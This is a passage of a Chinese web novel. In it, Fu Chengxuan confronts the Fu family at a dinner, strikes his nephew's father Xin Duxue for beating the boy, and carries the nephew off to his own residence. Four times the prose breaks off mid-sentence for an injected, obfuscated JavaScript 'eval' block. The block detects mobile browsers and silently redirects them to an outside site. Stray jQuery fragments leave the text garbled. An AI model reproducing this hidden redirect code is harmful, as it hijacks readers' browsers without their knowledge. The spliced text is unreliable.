此时宁家军已接管奉城城防,他们这个新报纸略作示好,说不定就能搭上宁家的关系。 辛笃学自觉情人体贴,儿子两个,再加上升官发财死老婆,感觉傅家都要被他踩在脚下了。 所以他十分高兴,挂了电话便去赴廉睿兄的酒约,直到一个小时前才被傅家佣人一个电话打到饭店叫醒,差点被撞破他酒后狎妓的破事儿。 佣人只说晚上傅承轩要来吃饭,家主要求人要齐,没说具体的。毕竟辛笃学是个赘婿,向来听话,不用像对傅承闲般费口舌。 辛笃学听了老大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292872|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不高兴,心道凭什么傅承轩来了全家都得迎接?就因为他认识杜会长?逢迎、谄媚、攀附。 此时他全然忘了,自己报社的新文章也是为了逢迎、谄媚、攀附。 就这样,辛笃学满心郁闷地捯饬好,叫了辆黄包车速回傅家往饭厅一坐,算是完成任务。 然而等他听完傅家主那番“傅家要和杜会长同气连枝,傅承轩是关键节点”的讲话,辛笃学这个对经商一窍不通的脑子才终于转动起来…… 完了。 自己昨日刚把傅承轩的命根子给打了。 “辛笃学!我跟你说话呢!你是哑巴了吗你这个不成器的东西!”傅家主急得要命,啪地一声拍上桌子。 辛笃学眨巴着眼睛汗流浃背,镜框顺着鼻梁不停往下滑,只能急三火四寻个借口顶上:“念斐……念斐他前日在杜会长的宴会喝多了酒,从昨天便开始不舒服,应当是休息呢,我让婆子去问问。不过他一个大学都没毕业的孩子,又不懂这些商贸大事,不想来便不来吧,没必要强迫,承轩向来宠他,估计也不介意。” 傅家主闻言皱眉,他心里觉得傅念斐不懂事,说了要都要参加竟然不露脸。 可转念一想傅承轩的确重视傅念斐,若是他们顺着傅念斐,反倒能显出傅家的宠爱来。 傅家主便说:“哦,那你让人再问问,要是真不舒服就休息吧,反正承轩和咱们是一家人,以后常来常往,不差这一顿饭。” 辛笃学扯出一个笑脸连忙答应,飞快将饭厅门口的婆子拉到一边,对她低声命令:“你去找趟念斐,就跟他这么说,记仔细了……” 他说完又道:“事儿若是办得好,晚上尽管找我来领银元。” 辛笃学让婆子带的话有点儿多,不过内容无非是连敲带打加甜枣。 一边声明傅念斐作为长孙要跟傅家荣辱与共,傅家好傅家长孙才能好。 另一边嘱咐说傅承轩那人太冷硬,做事经常不顾情面,现在是傅家和傅承轩重修旧好的关键时机,这事儿傅云珠知道了肯定也高兴,惹得傅承轩不快便会破坏这个契机,他娘在地下也不安心。 总而言之,傅念斐现在不适合露面。 这婆子也是个老人精,辛笃学刚说完她就懂了,急匆匆前去传话,没过多久就回来跟辛笃学复命。 “姑爷,念斐小少爷说他知道了。他说他都二十了,知道该跟谁站在一处,也知道家主看重这次会面,他会做好自己该做的,绝对不让为他着想的人操心。” 这话听着怪怪的,但是这么个道理,辛笃学心中落下一颗大石,点头微笑:“嗯,这孩子成熟了,你去忙吧。” 他话音刚落,前院便传来消息,说傅承轩的车到了。 16.16-争端 傅承轩是个很狂妄的人,人有些性子是打娘胎里带的,改不了。他的狂妄像他爹,这点他也是后来才知道。 正因他狂妄、傲气、不善低头,所以他打小就不招傅家至少一半的人喜欢,这点他心里清楚,却不在乎。 那时的他觉得你们爱喜欢不喜欢我,跟我不相干,我也不靠你们过日子。 如果傅家不留他,他就带着他娘的财物另谋出路,生死看天。 如果傅家愿意留他,那有恩报恩、以心换心,谁对他好他就对谁好,天经地义。 可惜后来他才知道,傅家真心待他的人满打满算也只有两个,一个是傅云珠,一个是傅念斐。 傅家的养育之恩大多出自傅云珠身上,如今云珠姐没了,只剩小外甥,谁对傅念斐不好,谁就是跟他撕破脸。 所以今天他必须让傅家知道,他傅承轩过去狂妄,现在更狂妄。过去心不狠,现在不仅心狠,手也黑。谁敢惹他,那只能算对方祖坟冒黑烟,倒了大霉。 “东家,到了。” 宁小六脊背微躬迅速拉开车门,傅承轩长腿一迈从那辆价值一万多银元的斯蒂庞克轿车上下来,抬眼瞥向傅家门楣。 八年了。 他当年趴着出去,如今站着回来,他倒是想看看,傅家到底是谁敢动小念斐和他云珠姐。 “哎呦!承轩来啦!” 傅家主离老远就摆出笑模样,起身抬手上前迎接:“前些日子我因云珠的事伤心难过,都没来得及细看你。多年不见变化真大,不过你这眉眼鼻梁和你娘太像,当年在邮轮上……” 他张口就是感情牌,还想去拉傅承轩的手臂,宁小六眼疾手快一把挡住傅家主,笑眯眯道:“家主贵人多忘事,我们东家小时候挨过打,不习惯跟人离太近。” 这话气得傅家主嘴角一抽,可他这回万万不能再骂傅承轩孽障了,只能苦笑:“承轩这是还怪义父呢?你也不想想,我若是真想把你怎么样,当年也不会带你回傅家。老太太生辰宴出了那种事,那么多双眼睛看着,我就是在气头上,所以才行的家法。那小戏子做贼心虚隔日便上吊了,我是为了把你摘出去才急三火四送你出国避难,谁承想遇上土匪了……” 傅承轩看着傅家主没说话,他心说自己当年怎么就那么傻,没看出这家伙巧舌如簧呢? 那小戏子隔日上吊,谁干的?引他去祠堂的可是傅家佣人,谁派的?我赎回我娘的怀表没多久就出了这档子事儿,你们到底是怕什么? 傅家主被他盯得想冒虚汗,和适才被他质问的辛笃学竟有异曲同工之妙。 傅承轩也并不打算在此时旧事重提,他对傅家主笑笑:“不是要吃饭吗?开席吧。” 傅家主喜不自胜,只觉得傅承轩这是打算翻篇了,连忙招呼佣人:“开席开席!把我准备的好酒都拿上来!” 饭厅正中是一张大圆桌。 傅家主坐在主位,一侧是傅老太太、二太太、三太太这些女眷,另一侧则是傅承轩、傅承闲和辛笃学这些爷们儿。 人丁寥落,若是紧凑点儿,估计连一桌都坐不满。 落座之后,傅家主给傅承轩介绍他未曾见过的三姨太,和即将满周岁的傅家三爷傅承祖。 “进月是前些年才纳进来的,没多久就有了承祖,唉,真是我们傅家的福星。”傅家主三十多年无所出,如今一举得子很是高兴,他爱怜地看向詹进月,显然十分宠爱。 三太太柔柔一笑,说起话来不紧不慢:“也是缘分,我是个无爹娘侍奉的孤女,平时时常去庙里礼佛。那天我去庙中上香,跟老太太巧遇,多聊了几句。后来老太太邀我来傅家小住,没想到就这么嫁进来了。” 傅家主温言软语:“佛祖眷顾把你赐给傅家,这才有了承祖。” 三太太羞涩笑笑没说话,她抱着襁褓中的孩子哄着,清淡素雅的乔其纱旗袍收得腰身极细,该有的曲线却很丰盈,是很吸引男人的样子。 二太太在旁边翻了个白眼:“那个什么威士忌,给我也倒一杯,白酒洋酒都是酒,我倒要尝尝这新鲜玩意到底有什么好滋味儿,能让你们这些爷们儿流连忘返。” 三太太闻言连眼皮都没撩。 二太太更生气了。 即便是普通人家养了两只猫,猫都得分出个高下,赢的那个先得主人宠爱。然而傅承轩对这些没兴趣,他只关心一件事。 “念斐呢?”傅承轩问。 傅家主放下刚打算提一杯的手,连忙道:“哦,念斐那孩子不是跟你去杜会长的宴会了么,许是喝多了酒,回来就说不舒服,正睡着呢。我寻思着你们舅甥以后见面的时候多,念斐的身体更重要,就特许他不用参加,先好好休息。等明天,我让承闲送那孩子去你的公馆玩儿,承闲也是念斐的舅舅,你们往后多走动。云珠是个喜欢家庭和乐的人,知道你们相处和谐肯定高兴,念斐也会开心。” 傅承闲在亲爹的瞪视下点点头:“对对,我明天亲自送念斐找你去,你要是有空的话,咱仨一起去听戏。” 辛笃学干笑附和:“对,对,以后有的是时间见面,家庭和乐最好。” “不舒服?”傅承轩顿时蹙眉,“哪里不舒服?坐黄包车的时候着凉了?都什么症状?找大夫看过了吗?吃药了没有?现在快五点半了,他晚饭吃什么?” 傅家主:…… 傅承闲:…… 辛笃学:…… 宁小六:看,我就知道。 傅家主一时语塞,看向辛笃学:“你说。” 辛笃学在傅家主面前毫无心理素质可言,他更是语塞,磕绊了一下才道:“不是着凉那么严重,就是小孩子第一次去宴会那种地方,有点贪吃,积食了犯恶心,一时缓不过来,闹到大早上才睡,现在还没醒呢,明天就好了。” 他这话说完在场的男人不觉得有什么,傅家主还附和了一声说“对,不是大事儿,就是积食了”。 女人们倒是奇怪地看了辛笃学一眼,没说话。 傅承轩当场气笑了:“辛笃学,念斐是二十岁,不是两岁。积食闹到大早上才睡?他从十岁开始就没干过这事儿了,你这是逗我呢?” 他来傅家那年十岁,傅念斐刚四岁,一年后两人渐渐熟稔,便开始睡在一起了。 小时候的傅念斐的确贪吃,也经常积食,次次都是傅承轩陪他闹到后半夜一起入眠,就连促消化的山楂水都是傅承轩亲手熬的。 因此傅承轩一听就明白了,辛笃学这是拿傅念斐小时候常犯的毛病诓他呢,可见辛笃学这个当爹的对亲儿子根本无甚了解。 傅承轩面沉如水,浑身冒冷气,饭厅里的人从家主到佣人各个噤若寒蝉,因他的不怒自威吓得不轻。 傅承轩偏头扫视宁小六:“让人回公馆叫李大夫过来,再去奉城医院请个西医,我今天倒是要看看,我外甥到底得了什么病。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300941|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说完这些便盯住辛笃学,一字一顿道:“既然请了大夫,傅家就得有病人,如果念斐没病,那病的就得是别人。” 这是明晃晃的威胁。 辛笃学气得手直抖。 宁小六立刻应了,转身就走,速度快着呢,若是不及时叫住转瞬间就能奔出院门。 此时傅家老太太似是看不下去了,她啪嗒一声放下手中的木筷,抬头对傅承轩道:“承轩,看在你给云珠换陪葬那天,我替你说过话的份儿上。即便你跟傅家不是血脉相连,到底是做过几年家人的,如果云珠本人在场,肯定也不愿你这样闹。” 傅承轩看了对方半晌才露出一个笑容:“老太太,我就是看在云珠姐的面子上,才没往大了闹。” 傅家主此时也看出点门道,他把酒杯咣当一撂怒瞪辛笃学:“你不是说念斐不舒服吗?难道这事儿有假?都是自家人有什么不能说的!说!给我说实话!” 辛笃学吞咽唾沫,他一边庆幸儿子还算听话没乱跑,另一边脑筋急转道:“……唉,这事儿怪我,我原本没想说来着。这不是暑假么,念斐那日在宴会上玩活了心,今天一大早就跟同学约着郊游去了,说过几天才回来呢。” 二太太闻言扬起眉毛:“我就说嘛,年轻孩子心性不定,不能过早接触玩乐,容易误正事。” 她儿子傅承闲过去就这样,为了玩儿什么都能忘在脑后,缺席的宴会多了去了。 辛笃学连连点头:“诶,是是,等念斐回来我一定教导他。” 他自以为这借口找的好,让精明的二太太都信以为真,还能顺道息了傅承轩想面见傅念斐的心。 然而作为今天下午才被临时通知回家吃饭的赘婿,辛笃学根本不清楚,家宴的时间是早就定好的。 简直蠢材。 于是傅家主更气了,恨不能眉毛都竖起来,毕竟傅承轩来吃饭的事儿是傅念斐亲口告诉他的。傅承闲也尴尬地张张嘴,但这是大房的事儿,他到底没吱声。 傅承轩冷笑一声,灰蓝色的眸子冷沉如冰:“行,出去玩儿了?是跟哪个同学约好的?去哪玩儿了?玩什么去了?我实在想我外甥,今天必须见他,你说个地方,我这就派人去接。” 辛笃学胸膛起伏,多年前被傅承轩殴打过的不忿一股脑爆发出来:“傅承轩!你今天跟我杠上了是吧!那是我儿子!我才是傅念斐的亲爹!无论他是吃积食了还是出去玩儿了!跟你一文钱关系都没有!” 傅承轩“呵”一声根本懒得答,和辛笃学争辩他嫌自己掉价。 他回首给了静待命令的宁小六一个眼神,宁小六头一点转身就走。 傅宅的地形他们摸得很清楚,其中最清楚念斐小少爷的住处。人在不在傅宅,到底怎么回事儿,一探便知。 辛笃学当即起身,指着傅承轩高声道:“你敢!擅闯傅家宅院!警察能抓你!” 二太太作为警察局长的妹妹当即扬着脖子点头,她可不想傅家主以后唯傅承轩这个小子马首是瞻,否则她的承闲怎么办? 傅家主先瞪二太太,再指辛笃学:“闭嘴!傅家没你说话的份儿!” 他转头对傅承轩和颜悦色:“承轩呐,我寻个婆子去念斐那儿看一眼就行,病了就请大夫,若是真贪玩不在家,也就任他玩儿去,年轻人嘛,天天嚷嚷着自由进步,傅家是从不拘着他的,你放心。” 傅承轩淡淡道:“若是再拦我,我就亲自去看。” 17.17-小羊 好好一顿家宴,不知怎么就突然发展到现在这个地步。 在场的诸位人人都在想自己那档子事儿,面子、威严、利益、家产……唯有傅承轩真正关心傅念斐的现状。 然而当宁小六踏出饭厅的一刹那,他面上一愣脱口而出:“念斐小少爷?您这是……” 傅念斐是被周婆子扶着过来的。 他穿着一身淡蓝泛白的薄软长衫,显得整个人愈发清瘦苍白。下巴尖削眼带血丝,嘴唇泛白干涩起皮,一侧脸颊泛红发肿,走起路来一瘸一拐,每走几步路还要咳嗽两声。 “咳咳……舅、舅舅。” 可怜。 太可怜了。 看起来病骨难支。 几乎是命悬一线。 这得是受了重刑的人。 才有他今日这幅惨像。 周婆子奇怪:小少爷这腿怎么越来越严重……还咳嗽上了? 看到傅念斐这幅面貌的一瞬间,傅承轩脑袋嗡一声,他蹭地站起来,先是往傅念斐那边迎上两步。随后眉头一蹙嘴角一抽,明显发现了什么。 但他反应很快,须臾片刻间转身抬手,一拳抡在正瞪向傅念斐,打算说话的辛笃学脸上。 砰一声! 辛笃学下盘不稳胯骨直撞桌边,随后便是饭桌上的碗盘勺筷哗啦啦啦被头懵眼花的辛笃学带了一地。 这一连串声响,在场众人听着都牙酸,辛笃学的牙倒是不酸,他呜呜两声叫唤,随后脑袋一偏吐出一口血。 傅承闲揪着他娘的胳膊,胆战心惊:“啊,牙……” 牙,两颗。 还都是最前面的牙,跟说话清晰度直接相关。 辛笃学:“啊啊……护坑欢(傅承轩)!” 渣爹倒地的一刹那,傅念斐眼睛都瞪圆了,他心道我还没说前情呢,小舅舅手怎么这么快?!怎么二话不说就打人呢! 他的确没想到傅承轩会打人,他原本的目的也不是这个。昨晚傅念斐瞪着眼睛熬了一宿,对辛笃学实在恨得慌。 知道小舅舅来了他当然开心,这是他的主心骨,可他实在想不出怎么在不牵连舅舅的情况下让辛笃学付出代价。 他想来想去就收到辛笃学的传话,于是灵机一动。既然你怕我出现,那我偏要出现。外祖父重视和小舅舅恢复关系,重视和杜会长的合作,我就偏不如你们的愿。 等小舅舅看到我被打得严重,肯定会生气,这样外祖父这顿家宴就得散,他爹必然会挨骂……如果能挨顿家法就更好了,这样连着娘和小舅舅的仇一起报。 可傅念斐着实没想到,傅承轩气性这么大,只看了自己一眼就打掉辛笃学两颗牙…… 这……这会不会下手太重了……小舅舅不会真被警察抓起来吧? 他只担心这个,渣爹的牙倒是不重要,毕竟平时也只用来骂他和亲另外的女人,可有可无的。 此时所有人的目光都集中在辛笃学身上,傅承轩借机几步跨到傅念斐身边,将愣在原地的小外甥直接捞进怀里。 他垂眸盯着傅念斐看,一句话都没说,先用拇指指腹蹭了下对方红肿的脸颊,然后指尖一搓,心中暗道果然。 胭脂,还有香味儿呢。 傅念斐赶忙捂脸,眼神慌乱心虚至极。然而下一秒,傅承轩长舒口气重重抱他一下:“没事儿就好,别怕。” 傅承轩知道傅念斐绝不会平白无故把脸涂红,肯定是辛笃学真打他巴掌了,甚至做了更让小外甥伤心生气的事情。能逼傅念斐做出这种当众卖惨的事,估计他只打辛笃学一拳都轻了。 这份毫无保留的偏袒和偏爱,让傅念斐登时眼眶酸胀,他忍不住轻轻喊了一句“舅舅”,傅承轩嗯了一声:“别怕,别担心,今日就算把傅家拆了也随你。” 傅念斐抿着唇没说话,又想流眼泪,傅承轩抽着唇角忍笑,压住小外甥后脑往自己肩上一按…… 这眼泪可不能流,把脸上的胭脂冲出红道道儿来可就坏了,也得亏他今天穿的是深色西装才不至于沾上大红印,天公作美。 傅念斐这幅一瘸一拐,且刚进屋就“差点昏倒”在傅承轩怀里的可怜相给傅家主骇了一大跳,他看看辛笃学又看看傅念斐,震惊之余似有所悟:“这、这、这是……你打的?!” 辛笃学:“唔事唔!唔事唔!(不是我)” 他才打几下!根本没这么严重!那小兔崽子还装咳嗽!鸡毛掸子还能伤到肺?! 辛笃学边摇头边乌拉哇啦鸡同鸭讲一大通,傅家主眉毛倒竖:“废物东西!话都说不清楚!” 傅念斐:…… 说不清楚挺好,小舅舅真有远见。 辛笃学说不清楚,但傅家主目的明确,他重新挂上一副慈爱笑脸,试图劝解傅承轩:“承轩呐,父子俩没有隔夜仇,你是打小父亲不在身边,所以不懂这个。承闲小时候又闹又皮,我也总打他来着,你看他如今,皮糙肉厚没脸没皮,我说什么他都不在乎,父子俩的感情也是一如既往,不会因此就不往来的。” 他看着仍埋首在傅承轩怀里的长孙叹了口气:“我也能猜到你爹为何打你,无非就是前几天在宴会上吃多了酒,荒废学业了,对吧?你爹是个文人,轴,认死理儿,不懂那些酒场逢迎的弯绕,这点是他不对,我自会骂他。可你呀也是小孩子心性,挨打了就想寻个靠山,不是说不对,但总该为大人们着想一下吧?你爹和你小舅舅今天闹成这样,你……唉,要是你娘还在,该多伤心。” 娘娘娘…… 又是娘。 好像所有人都觉得他心软,要用娘来压他,可又有几个人是真心为他娘考虑的? 傅念斐气得发抖,掌心攥住傅承轩的衣服,刚想抬头反驳,却再次被他舅舅按在怀里。 傅承轩边摸傅念斐的后脑勺安抚,边扫视傅家众人缓缓道:“我回奉城时间还短,突然想起来有件事没说清楚。今后念斐的课业就不用傅家操心了,未来生计更不用,都由我亲自来管。” “他如果真想留学,想考公费就考,懒得考我就供他自费去。不想留学就照常上课在家做米虫,即便次次都考最后一名,也自然有我养他一辈子。傅家那点儿微乎其微的家底你们自己留着,念斐一文都不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304960|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就连傅家的宅子他今后都可以不住。以后全奉城的宅子想要哪个任他挑,我都给他买。” 傅承轩说完这些便吩咐手下的人:“到念斐屋里收拾东西,回公馆。” 人跟人之间的关系若真到无欲无求的地步也就快断了,就算是养只猫养条狗,也是因为那小畜生毛茸茸太可爱,人想摸对方一把才会给口饭吃,否则怎么不见有人喂臭虫呢? 傅家主正是有求于傅承轩的时候,因此绝不能眼睁睁看着对方跟傅家离心,他连忙让佣人拦住要去搬东西的宁小六和宁老八等人。 “承轩呐,我知道你正在气头上,忧心念斐受委屈,要不这样如何?我让佣人再收拾出来一间房,你跟念斐一起住,想住多久住多久,怎么样?” 傅家主继续动之以情:“念斐眼下受了伤,怎么好坐车奔波,严重了怎么办?大房的丫头婆子都是念斐使唤惯的,知冷知热知道他口味,在家里养伤肯定好得快……” 傅承轩面色冷淡:“不劳您操心,丫头婆子我那儿也有,若是不够用再翻十倍我也请得起。厨子是在永福楼请的掌勺,念斐吃得挺香,就算有的菜吃不惯,一顿饭做上二十个菜挑挑拣拣总有几个是他爱吃的,吃穿住行这些东西只要捡贵的买日子怎么过都舒服,总比在傅家挨打强。” 此话一出让辛笃学憋了个大红脸。 傅家主也是一时词穷:“这……念斐啊……你倒是帮忙劝劝你舅舅,都是一家人,何必闹成这样,如果你娘知道了……” 傅念斐深吸一口气,只觉得娘这个字已经被傅家的人当做工具了。 他紧攥着小舅舅的衣襟,沉默半晌,做出他人生中第一个“冷血”决断。 他说:“外祖父,我娘是傅家的女儿,我姓傅,是傅家的长孙,只要傅家没不要我,我肯定不会搬走的。我只是去小舅舅那边暂住,等时机合适就回来。” 傅承轩垂眸看着傅念斐。 显然已经明白对方想说什么了。 傅念斐说完这话便戛然而止,在傅家主若有所思的目光中对辛笃学继续道:“爹,我讨厌你,以后不想再见你了。” 这两段话初听不相干,傅家主闻言沉默,辛笃学则是一懵。 这、这是什么意思?他不要我这个亲爹了?伦理纲常!苍天见证!我是他亲爹!亲!爹!他再跟我置气!还能不认我这个爹!? 傅承轩倒是弯起唇角,对傅家主意味深长道:“家主,念斐的愿望就是我的愿望,等下次再见,如若时机合适,我定为您引荐杜会长。” 他在“时机”两个字上加重,说完这话就欲拦腰抱起傅念斐。 傅念斐连忙按住小舅舅的手示意对方自己能走,没想到傅承轩瞥他一眼,眼底略带笑意:“腿被打成那样,你自己能走?” 对哦…… 做戏做全套。 傅念斐乖乖缩手,只能任小舅舅把自己拦腰抱起,还颠了一下。 傅念斐耳根红透:“……重吗?” 傅承轩莞尔:“比一只小羊重不了多少。” 傅念斐:瞎说,我肯定比羊重! 18.18-叫唤 傅承轩抱着他的“小羊”走了。 搬家这事儿听从傅念斐本人的意愿没有办,但他俩这么一闹,到底为傅家人留下了十分深刻的印象。 傅家主的筹谋打了水漂,气得直突突,他指着门牙漏风的辛笃学一顿大骂。 “不成器的东西!孽障!扫把星!来傅家二十多年也没见你读书读出什么名堂,天天嚷着要考奉城大学的职位现在都没考上,打点关系的银元倒是花了一箱!还有你那个破报纸,傅家的钱砸进去了至今都没听见响!这也就罢了!你早不打儿子晚不打儿子,非得赶上我有求于傅承轩的时候打儿子!你偏就跟我过不去是不是?嗯?!不成器的东西!” 傅家主车轱辘话来回来去骂辛笃学不成器,傅老太太阴鸷的眼睛瞥向他。 “他不成器你也不是第一天知道了,现在骂有什么用?你当初若是有心找,傅家还能找不到成器的女婿?” 傅家主的骂声瞬间哽在喉咙里。 他有心反驳,却明显不敢说话。 二太太心道又这样,老太太一张嘴他就怂,又不是亲母子,年纪差的也不多,这么敬着干什么? 她撇撇嘴:“老太太,话不是这么说的,当初之所以给云珠找个赘婿,不是怕她那软咕嘟的性子去别人家受欺负么?您这话说的……怎么好像我们有意对云珠不好,偏要给她找个不成器的丈夫一样?” 二太太仗着娘家有靠山,在傅家说话硬气,这番话显然也说进傅家主心里,家主没出声。 老太太冷笑:“是不是故意的,你们两个自己心里清楚。” 她老迈的眼睛似是连多看一眼傅家主都不愿,语带嘲讽:“家主,你现在是傅家的当家人,不是当年那个人人都围着你转的纨绔少爷了。当年家主之位落到你身上是运,娶了大太太这个富商女儿帮你多撑了傅家几年也是运,纳了二太太这个警察局长的亲妹妹仍是运,还有傅承轩他娘……哼,靠运道和女人得来的东西,又不知珍惜,早晚是要还的。” 傅老太太说完这话便走,反正桌上的盘碗被辛笃学撞了一地,饭是吃不上了,多留无益。 傅家主面色发青。 二太太理理头发,觉得老太太这话说的实在,傅家现在之所以还没被压垮,的确跟她哥哥在奉城的威严有关系。 傅家是离不开她的,所以家主之位就该是承闲的才对,谄媚那个傅承轩有什么用? 她伸手给傅家主顺气:“哎呦老爷您别生气了,你看吧,我就知道你和傅承轩说不上这事儿。咱求不上他就算了,咱也不欠他这个人情,还是从承闲的婚事上下手。那个焦副行长的女儿呀,跟承闲的事绝对有谱。” 傅家主:“胡说八道,发癔症呢?就凭承闲?吊儿郎当混子样,焦小姐估计看他一眼都要犯眼疾。” 二太太:“嘿,有你这么说儿子的吗?” 傅承闲也不乐意了:“爹你这话不对,现在的年轻小姐都喜欢我这种自由绅士,我和焦小姐都是留洋回来的,有许多共同话题,上次在杜会长的宴会上聊了许久呢。” 二太太骄傲点头。 傅家主一怔:“真的?” 傅承闲的桃花眼眉飞色舞起来:“那是自然,我们还约了一起看电影呢。” 傅家主没话说了。 二太太更骄傲:“所以就说么,傅家这点事儿还得靠我们承闲,等他和焦小姐自由恋爱修成正果,焦副行长对傅家的难处还能不伸手吗。” 傅家主沉默半晌:“天真,现在都什么年代了,订婚都有退的,嫁不嫁也不是你说了算。” 二太太不满:“对对对,不是我说了算,那也比傅念斐那个小没良心的强吧?他把持着他娘的遗产不给傅家救急,这叫跟傅家一条心?要我说,他还不如是个小姑娘,现在奉城被宁大帅占下来了,听我哥说过段时间宁大帅还要带儿子过来。就凭念斐那个小模样,这要是个女孩子,他准定能嫁过去做宁太太,那才是泼天的富贵!” 傅家主瞪她:“宁大帅的儿子能看上傅家的女儿?看上焦副行长的女儿还差不多!一天天的都想的什么乱七八糟的东西。” 他原地踱了几步,沉声道:“这样吧,过段时间是承祖的周岁宴,你们也给焦副行长和焦小姐送个请帖。如果焦小姐对承闲真有情,会来的。” 二太太气哼哼:“你三太太的儿子周岁宴,请我未来媳妇干什么?” 傅家主压抑怒气:“这事儿我跟你说不着!让你请你就请,废话太多!承闲,你过来,我有话跟你说!” 他说完抬脚便走,傅承闲紧随其后,然而傅家主路过辛笃学的时候却突然停下。 他用极为复杂的眼神注视了这位赘婿半晌,前所未有地和蔼道:“女婿,有关你的前途,傅家还是很看重的。你要办报纸就去办,不急,我觉得奉城大学的职位也可以继续考。” 辛笃学一脸茫然,不明白岳父怎么突然对自己和颜悦色起来。 “但是……”傅家主话锋一转,“家里平日人员往来太多,动不动就办宴会,对读书人来说实在是太吵。这样吧,我让人在外面给你找个新住处,账房那边每月支给你十银元做生活费,再加上你办报纸的营收,日常花销肯定是够了。好好读书,等你考上奉城大学的职位,家里肯定给你好好庆祝,念斐和云珠也会为你高兴的。就先这样,你得空收拾收拾,这几天就搬吧。” 傅承闲相当同情地看了辛笃学一眼:“姐夫保重。” 每个月十银元?云珠姐出殡当日的流水席,一桌都三十银元呢……真是苦读了。 辛笃学:??? 半晌,手握门牙的辛笃学终于恍然大悟,傅家主这是赶他走呢……因为傅念斐说不想见他,所以只要想让傅念斐回家,傅家就不能有他辛笃学! 傅云珠已死。 傅念斐离心。 赘婿无用了…… - 另一边。 傅承轩抱着傅念斐上车的时候才知道,他小外甥屁股和腿上都有伤。 男人眉头紧蹙,伸手就要扒傅念斐的裤子:“我看看,严重么?” 他后悔了,刚那一拳打得太少,就该再踢断辛笃学一条腿。 傅念斐面色爆红紧紧抓着自己裤腰:“舅舅!求你了舅舅!别在这儿扒我裤子!丢死人了!” 小六和老八都在前面偷笑呢! 傅承轩顺着小外甥的目光瞄了前座一眼,宁小六和宁老八立刻整肃表情目不斜视,傅念斐趁机夺回自己的裤腰掌控权,撅着屁股挪到后座另一端。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313284|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我涂了上次你给的药,挺好用,印子都要消完了。”傅念斐连忙道,“而且刚都是装的,没那么严重,走路挺灵便的。” 傅承轩无奈,收回试图扒傅念斐裤子的手:“我当然知道你是装的,被打到跛脚的人没你那么走路的。脸上的胭脂也是,技巧拙劣不说还有香味儿,你外祖父若是再凑近点准能看出来。下次再有这种馊主意记得提前告诉我,别吓唬人。” 脸肿腿瘸的,还以为让人上刑了,傅承轩看到这一幕的瞬间几乎窒息,差点掏枪直接毙了辛笃学。 他此时还心有余悸,暗道小外甥刚回傅家2天就挨打,无论严重与否,这口恶气只打辛笃学一拳他是出不完的。 得寻个机会干点儿别的…… 傅承轩陷入沉思,傅念斐却开始气闷。 在傅念斐心里小舅舅是全天下最温柔的人,他根本不知道傅承轩不仅日日随身带枪,还杀人不眨眼。傅念斐只觉得自己被小舅舅数落了,心里委屈,便闷着声音小声道。 “时间紧迫,来不及提前通知你么。再说了,我一听你来了就觉得靠山驾到,哪儿想那么多……” 他这声音嘟嘟囔囔的,说完就背对傅承轩,傅承轩正思考怎么让辛笃学再难受一把,也没细听。 车内一时寂静下来,宁小六和宁老八暗搓搓对视一眼,恐殃及池鱼,当即猛踩油门加速回公馆。 轿车停在公馆门口。 傅念斐下车便闷头往里走。 但你若是真生闷气,你就走快点别停,这样别人才能知道你在生气,才能追上来哄你。 傅念斐不,他这气生的断断续续的,想生气又舍不得生气,因此快走几步就停一会儿等等他小舅舅,让人看不出他是什么心情。 傅承轩不明情况,只能猜测傅念斐是腿疼走不动,眉毛又皱起来了。 傅念斐这会儿已然开始后悔,他心说我今天的确想了个馊主意,舅舅即便数落我也是应该的,我这么长时间没说话舅舅不会生气吧?真是太不应该……啊! 短促的叫声卡在喉咙痛里。 正扛着小外甥的傅承轩揉揉耳朵:“吓我一跳。” “你、你才吓我一跳!你干什么!”傅念斐瞪圆眼睛无所适从,感觉被小舅舅按在掌下的后腰都要着火了! 傅承轩扛着他往二楼走:“你嘴上说伤好了,可走几步路就要停一停……给我看看,否则我不安心。” 